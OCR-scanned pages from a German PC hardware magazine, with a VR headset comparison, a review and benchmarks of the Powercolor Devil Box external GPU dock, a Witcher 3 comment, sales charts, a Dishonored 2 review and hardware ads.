prinzipiell alle Positionen (auch über Kopf) möglich 


Vor dem Anwender auf Fernseher empfohlen. Höhenka- 
librierung gegebenenfalls nicht möglich, wenn Tisch den 
Blickwinkel nach unten begrenzt 


Reichweitenangabe 


4,6 x 4,6 m (mit zwei Stationen) 


2 x 2 m mit zwei IR-Kameras, dritte IR-Kamera für 
2,5 x 2,5 m empfohlen 


Empfohlener Abstand zur Kamera 1,5 bis maximal 2 m 


Erfassungswinkel (je Basis) 


ca. 100° 


ca. 120° 


ca. 60° 


Min. Entfernung zur Basis 


са. 20 cm 


ca. 10 cm 


ca. 60 cm (Warnhinweis. Funktion bis ca. 20 cm) 


Max. Entfernung von Basis 


> 350 cm (Kabellänge limitiert) 


> 300 cm (Kabellänge limitiert) 


ca. 250 cm (Warnhinweis. Funktion bis >350 cm, Ka- 
bellänge limitiert) 


Maximaler horizontaler 
Drehwinkel Headset 


ca. 320° (mit einer Basis), 360° mit beiden Basen 


360° (mit einer Basis) 


360° (mit einer Basis) 


Außerhalb des Wenige Sekunden nur Rotationserkennung, dann Bild und Rotationserkennung unverändert, aber Trans- | Bild und Rotationserkennung unverändert, aber Transla- 
Trackingbereiches Abschaltung lation fehlt. tion fehlt, großflächige Hinweiseinblendung 
Trackingqualitát Headset Sehr gut Sehr gut Befriedigend. Bei schneller Translation und 60-Fps-120- 

Hz-Darstellung zusätzlich Ruckler wahrnehmbar 
Trackingqualität Controller | Gut bis sehr gut Sehr gut (vorläufige Bewertung nach Kurztest) Ausreichend 
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Verglichen mit Vive und Rift ist der Trackingbereich der Playstation-Kamera eng, noch 


vor dessen Verlassen eingeblendete Warnungen verkleinern die VR-Spielzone weiter. 


Die Linsenstruktur der HTC Vive ist nicht nur beim seitlichen Einblick in das Headset 
deutlich sichtbar, sondern auch in hellen Spielszenen wahrnehmbar. 


Für optimale Bildschärfe muss das Headset rechtwinklig zur Sichtachse auf dem 


Gesicht sitzen. Steht es schräg, ist nur ein kleiner Teil des Bildes (hier: unten) scharf. 


80 


PC Games Hardware | 01/17 


rand. So kommt es hier zu chroma- 
tischen Abbildungsfehlern, die sich 
insbesondere bei der Playstation 
VR in farbigen Rändern an kont- 
rastreichen Objekten äußern. Au- 
ßerdem nimmt bei allen drei Head- 
sets die Bildschärfe zum Rand hin 
ab. Besonders deutlich ist dies bei 
der Vive, die am äußeren Bildrand 
zusätzlich Linsenreflektionen ne- 
ben hellen Objekten zeigt. Bei der 
Playstation VR spiegelt sich dage- 
gen der komplette Displayrand auf 
der Innenseite des Gehäuses, so- 
dass der Nutzer zwischen maxima- 
lem Blickwinkel (geringer Abstand 
zwischen Auge und Linse) und ar- 
tefaktfreier Ansicht wählen muss. 


Für alle periphären Bildfehler gilt: 
Eigentlich würden sie wenig stören, 
da sie außerhalb des Gebrauchs- 
blickfelds liegen und Blickände- 
rungen bei VR-Headsets eher durch 
Kopf- denn Augenbewegung erfol- 
gen sollten. Viele Playstation- und 
auch einige Steam-VR-Titel arbeiten 
aber mit großen Texteinblendun- 
gen und Menüs, die nicht in den 
zentralen, störungsfreien Teil des 
Sichtfelds passen. 


Getrennt vom statischen Bild ist die 
Bewegungsdarstellung zu betrach- 
ten. Das betrifft sowohl schnelle 
Kopfdrehungen und schnelle Be- 
wegungen von Objekten im Spiel 
als auch unbewusste, kleine Kopf- 
bewegungen, die ständig stattfin- 
den und eine stete Korrektur des 
Bildinhalts erfordern. Besonders 
Letztere stören bei niedriger Pixel- 
dichte. Bei Vive und Rift fällt dies 
nur an kontrastreichen Details auf, 
die weniger als zwei Pixel breit sind. 
Diese erscheinen eher als Perlen- 
kette leuchtender Punkte - wobei 
die einzelnen Perlen bei Kopfbewe- 
gungen zu wandern scheinen. Da 
meist beleuchtete Objekte in dunk- 
ler Umgebung für derartige Szenari- 
en verantwortlich sind, wird dieses 
Artefakt aber leicht als Bestandteil 
der Spielwelt wahrgenommen und 
stört den VR-Effekt kaum. 


Ganz anders die aus den großen, 
quadratischen Playstation-VR-Pi- 
xeln resultierenden, ausgeprägten 
Treppenstufen. Diese sind selbst 
an kontrastarmen Kanten wahr- 
nehmbar und wandern mit jeder 
Kopfbewegung daran entlang. Der 
Effekt stört auch bei sehr langsa- 


men Bewegungen und Antialiasing 
ist wegen dem einhergehenden 
Schärfeverlust und der begrenzten 
Playstation-4-Renderleistung eine 
zweischneidige Gegenmaßnahme. 
Bereits im jetzigen Zustand muss 
Sony mit einer im Vergleich zu HTC 
und Oculus um 50 Prozent gerin- 
geren Bildrate arbeiten (die Play- 
station 4 Pro könnte für Besserung 
sorgen), auch wenn dies dank einer 
im Verhältnis 1:2 arbeitenden Pers- 
pektivenkorrektur der gerenderten 
Szene nur bei Translation-Kopfbe- 
wegungen auffällt. 


In einigen Spielen unüberseh- 
bar sind dagegen Schlieren - was 
überrascht, denn OLED-Displays 
haben Reaktionszeiten im Mikro- 
sekundenbereich und die low-per- 
sistence-Varianten in Playstation 
VR, Vive und Rift werden zwi- 
schen zwei Frames sogar komplett 
schwarz. Einige Konsolen-Ent- 
wickler nutzen aber offensichtlich 
künstliche Bewegungsunschäfrfe. In 
2D ist dies ein bewährter Trick zur 
Verschleierung niedriger Framera- 
ten - in der virtuellen Realität führt 
der vermeintliche Sehfehler aber 
schnell zu Übelkeit. 


Handhabung & Trageko j 
Angenehm ist dagegen die Ergo- 
nomie der Playstation VR. Nicht 
nur Aufbau und Installation gehen 
schnell von der Hand, auch die rich- 
tige Positionierung des Headsets 
auf dem Kopf fällt sehr leicht. Vive 
und Rift erfordern mehr Aufwand 
und sind bei langem Tragen zudem 
unbequemer. Hier wird das Head- 
set durch Druck auf das Gesicht 
fixiert, während Sony mit einem 
steifen Stirnband arbeitet, das die 
Last auf den gesamten Kopf verteilt. 
Die Abschottung vom Umgebungs- 
licht geht dagegen bei allen drei 
Kandidaten mehr oder minder zu- 
lasten der Belüftung des Gesichts- 
bereichs. (tu) 


VR ist toll, aber noch nicht perfekt 
Alle drei Headsets bieten ein faszi- 
nierendes VR-Erlebnis, das binnen 
Sekunden jeden in seinen Bann zieht. 
Das kann aber nicht über die 90er-Jah- 
re-Auflösung hinwegtäuschen und bei 
Linsen, Displays und Ergonomie kann 
sich jeder Hersteller etwas von der 
Konkurrenz abgucken. 
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Asymmetrischer Doppelturm-Kühler mit 
zwei 140-mm-Lüftern»und riesiger Kühlleistung 


"E |; 


LU INN 


Prädestiniert für leistungsstarke Full-Size Gaming-PCs 
Ein Berg von einem CPU-Kühler. Das gottgleiche Olymp-Design, 
speziell entworfen für maximales Overclocking oder lautlosen 

Betrieb, gewährleistet elitäre Kühlleistung bei hoher Kompatibilität: 

> High-End-Kühlung bist 340 Watt TDP 

> Doppelturm-Design mit 165 mm Höhe 

> 2x 140mm Wing-Boost-2-PWM-Lüfter 

> 6 Heatpipes, starke 123.38 m?/h Airflow 


Caseking GmbH: Gaußstr. 1, 10589 Berlin eMail: info@caseking.de tel. bestellen: 030 52 68 473 00 www.caseking.de/olymp 
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GPU-Outsourcing 


Die alte Laptop-Krücke mittels externer Grafikkarte zum Gaming-Boliden umrüsten? Was lange eine 


unpraktische Nischenlósung war, könnte nun mit Thunderbolt 3 den Massenmarkt erreichen. 


as Konzept einer externen 
Grafikkarte ist 
Immer wieder mal erschien eine 


nicht neu: 
exotische Konstruktion, mit der 
eine Desktop-GPU am Notebook 
angeschlossen soll. Es 
scheiterte bislang an der passen- 
den Schnittstelle beider Geräte. 
Mit Thunderbolt 2 haben Apple 
und Intel 2013 erstmals ein Proto- 
koll vorgestellt, das mit 20 GBit/s 
annähernd schnell genug für einen 


werden 


externen Grafikanschluss ist. Die 
proprietäre Buchsenform war aber 
Apple-Geräten vorbehalten. Nach 
der Handvoll an Modellen exter- 
ner Grafikkarten-Docks herrschte 
außerdem wenig Nachfrage und 
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entsprechend wenig Wettbewerb, 
weswegen sie nur zu Mondpreisen 
verfügbar waren. Zu diesen konnte 
man sich gleich ein ganzes Note- 
book mit interner dedizierter Gra- 
fikkarte anschaffen. Kurzum: Alle 
Lösungen externer Grafikkarten 
machten bislang kaum Sinn und 
sind daher so gut wie nicht mehr 
auf dem deutschen Markt erhält- 
lich. 


Mit Thunderbolt 3 änderte sich das 
2015: Nicht nur, dass der Standard 
mit 40 GBit/s über vier РСІе-3.0- 
Lanes doppelt so schnell ist wie 
der Vorgänger. Mit der USB-Buchse 
im neuen Typ-C-Format handelt 


es sich auch um eine Steckverbin- 
dung, die viele andere Anschlüs- 
se ersetzen kann. Thunderbolt 3 
ist ein wahrer Alleskönner, der 
weitaus mehr als nur eine USB-3.1- 
Datenleitung bietet: Stromversor- 
gung bis zu 100 Watt, ein Bildsignal 
über acht DisplayPort-1.2-Lanes, 
Ethernet-Netzwerk bis 10 GBit/s. 
Die ganze Hardware-Welt könnte 
nur noch aus Typ-C-Verbindungen 
bestehen. 


Razer machte mit dem “Core” den 
Anfang der neuen externen Do- 
ckingstations mit Thunderbolt 3. 
Das ist aber bislang nur in den USA 
verfügbar. Im Oktober bekam ein 


Händler hierzulande exklusiv die 
Powercolor Devil Box geliefert - 
die erste Charge ist aber bereits 
wieder ausverkauft. Wir konnten 
für den Test ein Exemplar ergat- 
tern. 


Was der Teufelskasten so 
alles kann 

Die Devil Box ist weitaus mehr als 
nur eine externe Grafikkarte. An 
der Rückseite sind USB- und Ether- 
net-Ports, innen sind Platz und An- 
schlüsse für ein 2,5-Zoll-Laufwerk 
vorhanden. Prinzipiell ist der Kas- 
ten groß genug für eine 3,5-Zoll- 
Festplatte, jedoch gibt es keine 
Möglichkeit, sie anzuschrauben. 
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Aufšerdem kann über die Thunder- 
bolt-Verbindung ein Laptop mit bis 
zu 60 Watt geladen werden. Aktuell 
gibt es aber kaum Geräte, die Strom 
über eine USB-C-Buchse beziehen. 
Generell ist Thunderbolt 3 unter 
den Notebooks noch nicht recht 
weit verbreitet - eher unter den 
teureren. Der ganze Kasten wird 
von einem 500-Watt-Servernetzteil 
von Seasonic mit Strom versorgt. 


Mit Maßen über 40 cm x 18 cm x 24 
cm und einem Eigengewicht von 
fast sechs Kilogramm ist es zwar 
noch immer kleiner als ein konven- 
tionelles PC-Gehäuse, dafür muss 
es aber auf dem Schreibtisch Platz 
finden. Anderswo kann es nicht 
verstaut werden, da das mitgelie- 
ferte Typ-C-Kabel mit nur knapp 
einem halben Meter Länge viel zu 
kurz ist. Länger darf es laut Zertifi- 
zierung aber auch nicht sein. 


Teuflisch schick 

Powercolor ist die Optik schon mal 
gelungen: Das Metallgehäuse ist ein 
Hingucker auf dem Schreibtisch. 
Auf der Computex im Sommer 
hatte die Devil Box noch einen 
Henkel - der ist nun verschwun- 
den. Außerdem leuchteten auf der 
Messe die „Innereien“ blutrot. Das 
haben wir auch erwartet, als wir 
das Grafikdock das erste Mal in Be- 
trieb nahmen. Aber der Teufelskas- 
ten erstrahlte doch tatsächlich im 
himmlischen weißen Licht! Habe 
ich aus Versehen die Angel Box er- 
halten?! Spaß beiseite: Innen sind 
nun weiße LED-Streifen verlegt, 
deren Helligkeit und Blinkereien 
man verändern kann, nicht aber 
die Farbe. Das beißt sich etwas mit 
der teuflischen Vermarktung des 
Grafikdocks. Immerhin handelt es 
sich hier nur um eine kosmetische 
Unstimmigkeit. 


Welche Grafikkarte passt? 
Softwareseitig gibt es kaum Be- 
schránkungen moderner Grafik- 
karten. Auf der Produktseite listet 
Powercolor eine Reihe an GPUs 
der letzten und aktuellen Generati- 
on auf. Eine ältere bzw. schwäche- 
re Grafikkarte zu betreiben, würde 
zudem kaum Sinn machen. Denn 
wer sich ein Grafikdock leistet, in- 
vestiert auch in eine entsprechend 
aktuelle Grafikkarte. 


Im Teufelskasten finden die meis- 
ten aktuellen Grafikkarten Platz. 
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Dennoch gibt es einige Custom 
Designs, die etwas zu lang sind. 
Bis 31 cm Länge und circa 12,5 cm 
Hóhe dürfen die Dimensionen ent- 
sprechen. In der Breite ist Platz für 
drei Slots. Was die Lànge angeht, so 
messen wir zwischen Frontblende 
und Gehäuselüfter einen knappen 
Zentimeter mehr. Manche Über- 
größe-Karten können also gerade 
so noch passen - notfalls, indem 
der 120-mm-Lüfter verlegt wird. 


Der Einbau erfordert nicht mehr 
Geschick als beim herkömmlichen 
PC-Gehäuse, könnte aber einfacher 
gestaltet sein. Die Seitenwände las- 
sen sich per Fingerschrauben be- 
quem ohne Werkzeug abnehmen, 
jedoch muss die obere Abdeckung 
noch demontiert werden. Und die 
ist an zwei Kreuzschlitzschrau- 
ben befestigt, wobei eine von der 
Innenseite gelöst werden muss. 
Mit der Grafikkarte ist dann noch 
weniger Platz im Gehäuse und es 
gestaltet sich zu einer extrem fum- 
meligen Angelegenheit, die Abde- 
ckung wieder anzuschrauben. Das 
Design wirkt daher unnötig um- 
ständlich. In der Regel nimmt man 
die Montage aber nicht allzu oft 
vor, was diesen Ärger verschmerz- 
bar macht. 


Plug and Play? Von wegen! 

Powercolor bietet keinerlei Trei- 
ber oder Software zur Devil Box 
an. Die Kurzanleitung erklärt nur 
knapp, der Thunderbolt- 
Standardtreiber alles automatisch 
erkennt - man müsse nur brav auf 
„Ok“ und „Weiter“ klicken, wie man 
es ja von Installationen gewohnt 
ist. Das klappte zunächst alles auch 


dass 


- sowohl auf einem Skull-Canyon- 
Barebone als auch auf einem Leno- 
vo-Thinkpad-Notebook. 


Der Hersteller verlangt laut Daten- 
blatt ein System mit Windows 10 
in 64-Bit-Version. Das Thinkpad 
hatte Windows 7 vorinstalliert, er- 
kannte die Devilbox aber ebenso 
prompt. Bei beiden Rechnern woll- 
te die externe Grafikkarte aber das 
Bild nicht am internen Bildschirm 
ausgeben, obwohl das per bidi- 
rektionalen Thunderbolt funktio- 
nieren müsste. Beim Barebone ist 
das nicht weiter wild - steckt man 
eben das Monitorkabel an die Devil 
Box anstatt an das Gerät. Der Kas- 
ten dürfte aber häufiger bei Note- 
books zum Einsatz kommen - und 


n der Devil Box haben wir eine entsprechende Grafikkarte getestet: Die „Red Devil”, 
ebenfalls von Powercolor, mit einer Radeon RX 480 - eine solide Mittelklasse-GPU. 


Es gestaltet sich etwas umständlich, die Grafikkarte einzubauen. Die vordere Schrau- 
be der Abdeckung ist noch einfach zu lösen — bei der inneren wird's aber fummelig. 


Als Basis für den Test hielt ein Lenovo Thinkpad P50 her. Business-Notebooks haben 
meist eine potente Hardware, aber eher selten eine dedizierte Grafik. 
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Synthetische Benchmarks 


3DMark ,Firestrike" v4.47.597.0 


RX 480 in Spiele-Testsystem [XXX 11.630 (Basis) 
RX 480 in Devil Вох an Lenovo Thinkpad EX 9.569 
Thinkpad mit IPG Intel HD Graphics P530 В 884 
3DMark , Skydiver" v4.47.597.0 

RX 480 in Spiele-Testsystem [EX 34.221 (Basis) 
RX 480 in Devil Box an Lenovo Thinkpad EX 24.983 
Thinkpad mit IPG Intel HD Graphics P530 x 3.874 
3DMark „Cloud Gate" v4.47.597.0 

RX 480 in Spiele-Testsystem [E 40.770 (Basis) 
RX 480 in Devil Вох an Lenovo Thinkpad Xu 21.451 
Thinkpad mit IPG Intel HD Graphics P530 E 7.978 
PCMark 8 „Home Convential 3.0" v2.7.613 

RX 480 in Spiele-Testsystem [Xm 4.285 (Basis) 
RX 480 in Devil Вох an Lenovo Thinkpad ui 4.038 
Thinkpad mit IPG Intel HD Graphics P530. Eu 3.453 


System: Intel Core i7-6900K @ 4,0 GHz, 32 GiByte DDR4-3000 RAM, MSI X99A Gaming 
Pro Carbon, Windows 10 x64; Notebook: Lenovo Thinkpad P50, Intel Xeon E3-1535M @ 
2,9 GHz, 16 GiByte DDR4-2133, Windows 7 x64 


Score 
» Besser 


Fps-Vergleich: GPU in Devil Box und Desktop 


The Witcher 3 PCGH-Benchmark , Beauclaire Palace", Full HD, max. Details, kein GW 
RX 480 in Desktop aaa“ ШЕШШ 54,2 (Basis) 
АХ 480 in Devil Box Egi e 36,75 (-32 96) 
Battlefield 1 Singleplayer: PCGH-Benchmark , Gallipoli", Full HD, Ultra-Details 
RX480inDesktop Emm 84,1 (Basis) 
АХ 480 in Devil Box Eust 57,2 (-32 96) 
Titanfall 2 Singleplayer: PCGH-Benchmark „Titanic Falls", Full HD, Ultra-Details 


АХ 480 in Desktop Eau 85,5 (Basis) 
АХ 480 in Devil Вох VR 69,1 (-19 %) 


System: Intel Core i7-6900K @ 4,0 GHz, 32 GiByte DDR4-3000 RAM, MSI X99A Gaming 
Pro Carbon, Windows 10 x64; Devil-Box-Notebook: Lenovo Thinkpad P50, Intel Xeon 
E3-1535M @ 2,9 GHz, 16 GiByte DDR4-2133, Windows 7 x64 


Mimi ø Fps 


» Besser 


Lautheit 


Lautheit (sone) 
w 


2,5 
2 
ES 


Desktop 


ШИШЕ / 


Volllast 


w 
v 
e 
w 
3 
5 

Q 


Bemerkung: Die Devil Box ist lauter als so mancher Spielerechner. Geräuscheffiziente Spielenotebooks sind 
selbst unter Last nicht lauter als 2 Sone. Zur Orientierung: Ein normales Gespräch ist um die 1 Sone laut, ein 
Fernseher in Zimmerlautstärke um die 4 Sone. 
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hier möchte man sich nicht extra 
einen Monitor anschaffen. Da der 
Treiberkampf am Barebone nicht 
weniger stressfrei als am Thinkpad 
ablief, absolvierte die Devil Box 
den Benchmark-Parkour am Note- 
book. 


Vorneweg: Alle Versuche, die Devil 
Box ohne externes Display zu be- 
treiben, scheiterten. Andere Tests 
im Netz berichten von ähnlichen 
Problemen mit dem internen Dis- 
play. Nach mehrmaligem Hin- und 
Herschubsen des Radeon-Treibers 
und etlichen Neustarts konnten 
wir die externe Grafikkarte zu- 
mindest mit einem externen Mo- 
nitor zum Laufen bekommen. Der 
Wechsel zwischen externem und 
internem Display klappt übrigens 
nicht ohne Neustart. Wenn man 
das Thunderbolt-Kabel abzieht 
oder dem Kasten einfach den Saft 
abdreht, wird man vom Thinkpad 
mit einem Bluescreen belohnt. 
Ähnliches Spiel am Barebone. Trotz 
aller Zickereien zwischen Rechner 
und Devil Box verrichtete die ex- 
terne Grafikkarte letztlich in jeder 
Kombination ihren Dienst. 


Ist die Devil Box ein 
Performance-Nadelöhr? 
Thunderbolt 3 bietet lediglich vier 
РСІе-Гапеѕ, daher ist die gleiche 
GPU an einem Mainboard mit übli- 
cher 16-fachen Anbindung theore- 
tisch leistungsfähiger. Was sowohl 
die synthetischen Benchmarks als 
auch Spieleleistung angeht, müs- 
sen also Abstriche von vornherein 
in Kauf genommen werden. 


Das Lenovo Thinkpad hat zwar mit 
einem Intel Xeon eine leistungs- 
fähige High-End-CPU, dennoch 
würden aktuelle Spiele ohne Ra- 
deon- oder Geforce-Grafik nicht 
starten. Das war unsere Prämisse 
bei der Auswahl eines geeigneten 
Test-Laptops. Die in der Devil Box 
betriebene Radeon RX 480 ist eine 
Mittelklasse-GPU, die bei aktuellen 
Spielen in Full HD und hohen Gra- 
fikdetails ordentliche Frameraten 
bietet. Mit Battlefield 1, Titanfall 
2 und The Witcher 3 haben wir 
die GPU sowohl am Notebook als 
auch im Desktop-Setup durch drei 
aktuelle Spiele-Benchmarks gejagt 
und die Framerate gemessen. Der 
Vergleich beider Systeme zeigt klar, 
dass dieselbe Grafikkarte in der De- 
vil Box deutlich weniger Leistung 


bietet als auf einen PClIe-x16-Slot. 
Zwar ist es die Grafikkarte, die 
hauptsächlich für die Frameleis- 
tung verantwortlich ist. Dennoch 
sind unsere Ergebnisse nicht di- 
rekt miteinander vergleichbar, da 
es sich um zwei komplett andere 
Systeme handelt - wenn auch um 
ähnlich leistungsfähige. Zwischen 
20 und 30 Prozent weniger Fps ist 
aber ein deutlicher Unterschied, 
der hauptsächlich, wenn auch 
nicht nur, auf die externe Anbin- 
dung per Thunderbolt 3 zurückzu- 
führen ist. 


Die synthetischen Benchmarks mit 
3DMark und PCMark 8 lieferten 
ein ähnliches Leistungs-Ranking. 
Hier sind die Unterschiede in den 
Punktzahlen noch viel weniger 
aussagekräftig, da es sich nicht um 
Messwerte sondern um Indikato- 
ren handelt. Natürlich schafft die 
interne Grafik der Intel Xeon kein 
Ergebnis, das mit der einer dedi- 
zierten GPU vergleichbar wäre. Der 
3DMark-Benchmark 
interessant, da er eine generelle 
Vergleichbarkeit mit anderen Syste- 
men bietet. Der Score von PCMark 
ist ein Indikator für die Gesamtleis- 
tung des Systems, bei dem es nicht 
nur auf die Grafik ankommt. Ent- 
sprechend geringer sind daher die 
Unterschiede zwischen den drei 
Systemen ausgefallen. 


ist dennoch 


Was für ein Höllenlärm! 

Standardmäßig testen wir die Laut- 
heit mit einem Mikrofon in einem 
halben Meter von der Geräusch- 
quelle entfernt. Es braucht aber 
zunächst kein Messgerät, um fest- 
zustellen, dass die Lüfter in der De- 
vil Box permanent laufen - und das 
auch mit einem deutlichen Brum- 
men. Die Lüfter der Grafikkarte 
sind nicht aktiv, sofern man aufdem 
Windows-Desktop arbeitet. Erst bei 
3D-Anwendungen springen sie an. 
Dann sind die Gehäuselüfter aber 
ohnehin so schnell und laut, dass 
es unmöglich ist, festzustellen, ob 
bzw. welchen Lärm die Grafikkarte 
an sich macht. Im Desktop-Betrieb 
messen wir etwa 1,7 Sone, was dem 
Geräuschpegel 
Gesprächs entspricht. Bei Spielen 
lärmt der Teufelskasten mind. 3,5 
Sone bzw. stellenweise bis zu 4,7 
Sone. Das ist etwa die Zimmerlaut- 


eines normalen 


stärke eines Fernsehers und stört 
den Spiele-Sound, sofern der nicht 
gleich über Kopfhörer tönt. 
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итегѕкаѕтсеп steck 


Die Devil Box ist mehr als nur ein externes Grafikgehàuse. Vielmehr handelt es sich um eine vollwertige Docking-Station. Über dieselbe Thunderbolt-Schnittstelle wird etwa 
ein USB-3.0-Hub betrieben. Zudem kann eine 2,5-Zoll-Festplatte eingebaut und angeschlossen werden. Eine RJ45-Buchse macht den Speicher zusàtzlich netzwerkfàhig. 


Backpanel: USB & LAN 


Der Hub bietet insgesamt fünf Mal USB 3.0. — davon 
eine Typ-C-Buchse, drei Typ-A hinten und eine vorne. 


Netzteil: 500 Watt 


Das Seasonic SS-500L1U kann ein angeschlossenes 
Notebook über Thunderbolt laden. 


ийип 


Lüfter: 120 mm & 80 mm 


Leider sind die beiden Gehäuselüfter nicht mit 
PWM-Anschluss verbunden. 


LED-Steuerung 


auf verschiedene Weise blinken. 


Mit kleinen Tastern lässt sich die Helligkeit des 
weißen LED-Streifens im Gehäuse verändern und ihn 
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Strom und Datenkabel 


Zweimal Stromkabel mit 6/8 Pin für die Grafikkarte 
sowie Daten— und Stromkabel für die Festplatte. 


2,5-Zoll-Schacht 


Platz für die Montage einer Festplatte/SSD im 
2,5-Zoll-Format bis 9 mm Hohe. 


Front: USB 3.0 
Neben dem Logo befindet sich vorne eine 
weitere USB-Buchse. 


Der Nerd von Welt mag jetzt viel- 
leicht müde làcheln und nun ein- 
fach qualitativ bessere bzw. effizi- 
entere Lüfter einbauen. Doch die 
Lüfter sind an der Platine nicht mit 
einem üblichen PWM-Anschluss 
verbunden, sondern über eine 
CVG-Verbindung, wie sie etwa bei 
Grafikkartenlüftern zum Einsatz 
kommt. Wer den Lüfter tauschen 
möchte, 
Adapter suchen oder selbst den 
Crimp-Kontakt basteln. Es ist jeden- 
falls nicht ohne Aufwand möglich. 


muss aufwendig einen 
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Für die aktuell 419 Euro einer 
Devil Box erhält man bereits ein 
brauchbares Desktop-System aus 
Mainboard, CPU, Arbeitsspeicher 
und Festplatte. Zumal mit diesem 
die Grafikkarte mit 16 PClIe-3-0- 
Lanes angesteuert werden kann, 
anstatt mit nur 4 über Thunder- 
bolt 3. Dass dieses Nadelöhr gut 
ein Viertel der Spieleleistung (Fps) 
schluckt, 
marks gezeigt. Auch was Platz- 


haben unsere Bench- 


komfort angeht, kann die Devil 
Box nicht gegenüber einem Spie- 
lerechner punkten: Wegen des 
kurzen Kabels muss sie direkt auf 
dem Tisch neben dem Notebook 
stehen. Da kann man sich gleich 
ein Desktop-Gehäuse oder einen 
Tower hinstellen. Wenn Razer mit 
dem „Core“ auf dem deutschen 
Markt erscheint - wann auch im- 
mer - werden sicherlich die Preise 
mittelfristig fallen. Dann könnten 
sich die Grafik-Docks doch zur Al- 
(mc) 


ternative mausern. 


Weniger für mehr 

Weniger Leistung für mehr Geld: Mit 
419 Euro ist die Devil Box natürlich 
noch keine Alternative, lahme Laptops 


zu Gaming-Maschinen umzurüsten. 
Zum einen ist die Leistung der GPU 
wegen Thunderbolt 3 deutlich re- 
duziert, zum anderen ist selbst ein 
Spielenotebook noch immer kosten- 
effizienter. Bleibt abzuwarten, ob der 
Preis der Devil Box noch deutlich fällt. 
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Raffael Vötter 
Fachbereich Grafikkarten 
E-Mail: rv@pcgh.de 


Kommentar 


Ich verfluche euch, CD Projekt! Irgend- 
wie. Ein bisschen. 


Das Bessere ist des Guten Feind. Dieser Spruch 
lässt sich auf alle Bereiche des Lebens anwen- 
den, auch auf Spiele. Vor allem auf The Witcher 
3. Ich habe beschlossen, dieses Spiel zu has- 
sen. Zumindest ein bisschen. Warum, fragen 
Sie? Weil es alles zerstört hat! Damit meine 
ich nicht nur die Vernachlässigung sozialer 
Kontakte — Yeneffer, Lambert, Bordsteinschwal- 
ben und weitere NPCs zählen nicht — aufgrund 
des Suchtpotenzials. Hassen kann man erfah- 
rungsgemäß nur, wenn man geliebt hat. Und 
für Zuneigung dieser Art bietet The Witcher 3 
mehr Anlass als jedes andere Spiel, das mir in 
meiner 25-jährigen Zockerkarriere untergekom- 
men ist. Mit seiner einzigartigen, erwachsenen 
Atmosphäre und Inszenierung hat CD Projekt 
einen Meilenstein tief in den Boden gerammt, 
der so schnell nicht überschritten wird. Deswe- 
gen bleibt es jedem, der sich darauf einlässt, 
im Gedächtnis — und deswegen bereiten an- 
dere Spiele dieser Gattung, die man früher für 
großartig hielt, plötzlich Schmerzen. Und das 
Schlimmste: Die Witcher-Saga ist beendet, ein 
Nachfolger ausgeschlossen. Und jetzt? 


Verkaufs- 


CHARTS* 


Platz Titel 
Battlefield 1 
Landwirtschafts-Simulator 17 Astragon 
Die Sims 4: Großstadtleben Electronic Arts 


Hersteller 
Electronic Arts 


Activision 


Call of Duty: Infinite Warfare 


2K Games 
Bethesda 
Electronic Arts 
Rockstar Games 
Blizzard 
Electronic Arts 
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* Quelle: Saturn, Top 20 vom 19.11.2016 
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Bethesda 
Dishonored 2 


Hardware 


Dishonored 2 Probe gespielt 


Entwickler Arkane macht's erneut und schafft es 
wieder, mit dem zweiten Dishonored-Teil eine der 
glaubwürdigsten Spielwelten aller Zeiten auf den 
Bildschirm der Actionspiel-Fans zu transportieren. 


as Erfolgskonzept von Dishonored 2: Das 

Vermächtnis der Maske, mit dem sich das 
Schleich-Actionspiel mit Ego-Perspektive die 
Wertung von 1,50 verdient, lässt sich in der 
Kurzform so beschreiben: Der Titel macht nicht 
viel anders als der (ausgezeichnete) Vorgänger. 
Statt das Spielprinzip komplett umzukrempeln 
baut Teil zwei auf den bekannten Stärken von 
Dishonored auf und betreibt, von der Neuerung 
in Form zweier spielbarer Charaktere abgese- 
hen, sinnvolles Feintuning durch intelligente 
Verbesserungen. Das Ergebnis ist eine grandi- 
ose Mischung aus Schleichen und Kämpfen in 
einer fantastischen Spielwelt, deren Leveldesign 
exzellent und deren Atmosphäre immens dicht 
ausfällt. Des Weiteren ist Karnaca eine virtuelle 
Welt, die dank ihrer Lebendigkeit und ihrer tol- 
len Architektur sehr glaubwürdig gestaltet ist 
und in der künstliche Grenzen komplett fehlen. 
Genügend Raum zum Experimentieren wird bei 
Dishonored 2 also ebenfalls geboten, dies garan- 
tiert einen hohen Wiederspielwert. 


Dazu kommt, dass Karnaca voll mit versteckten 
Gegenständen ist, deren Suche sich auf jeden 
Fall lohnt, zumal der Spieler beim Schleichen 
und Kämpfen sehr viele, tolle magische Fähig- 
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keiten erwirbt. Generell hält das Gameplay ver- 
schiedene Handlungsweisen parat: Der Spielstil 
bleibt nicht ohne Konsequenzen, die Schwert- 
kämpfe sind mitreißend; Dishonored 2 bietet 
deutlich mehr nicht-tödliche Angriffsarten als 
beim ersten Teil und die Story verfügt über inte- 
ressante Mini-Plots. Die deutsche Sprachausgabe 
ist ebenfalls lobenswert, der Spielumfang geht 
dagegen mit 18 Stunden lediglich in Ordnung. 
Was jedoch zu kritisieren ist, sind die teils blas- 
sen Charaktere, beispielsweise die Outsider und 
der Antagonist, die nicht immer auf allzu hohem 
Niveau geführten Dialoge sowie die KI-Ausset- 
zer bei Computergegnern und Zivilisten. Dazu 
kamen massive Performanceprobleme zum Ver- 
kaufsstart am 16.11.2016. 


Bis zum Redaktionschluss (24.11.2016) sind zwei 
Updates erschienen. Diese steigern die anfangs 
schwache Performance und ergänzen das Gra- 
fikmenü auch um zahlreiche neue Optionen. So 
dürfen Sie nun HBAO+ auch auf Radeon-GPUs 
einschalten und die Schärfe des Temporal-AA 
stufenweise regeln. Auf unserem AMD-Testsys- 
tem mit FX-8350 (4 GHz) und R9 Nano steigen 
die minimalen Fps mit dem Beta-Patch 1.2 ge- 
genüber der Launchversion von 34 auf 37 und 
im Mittel von 43 auf 44 Fps. Das starke CPU-Li- 
mit in der Stadt Karnaca bleibt ergo bestehen, 
in WQHD läuft das Spiel beinahe genauso wie in 
720p - lediglich die Frame-Verteilung schwankt 
(fs/ru) 


nicht mehr so stark wie zu Beginn. 
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UNSCHLAGBARE GESCHWINDIGKEIT 
LEGENDÄRE STABILITÄT 


Um auf höchstem Niveau zu konkurrieren, brauchen sie eine schnelle Reaktion der Tasten. 
Die blitzschnelle Reaktionszeit der RAPIDFIRE und die 100% Anti-Ghosting-Technologie 
ermöglichen eine bisher unerreichte Kombination aus Geschwindigkeit und Präzision. 
Alle neuen Cherry MX-Speed-Tasten besitzen einen ultrakurzen Betätigungsabstand für 
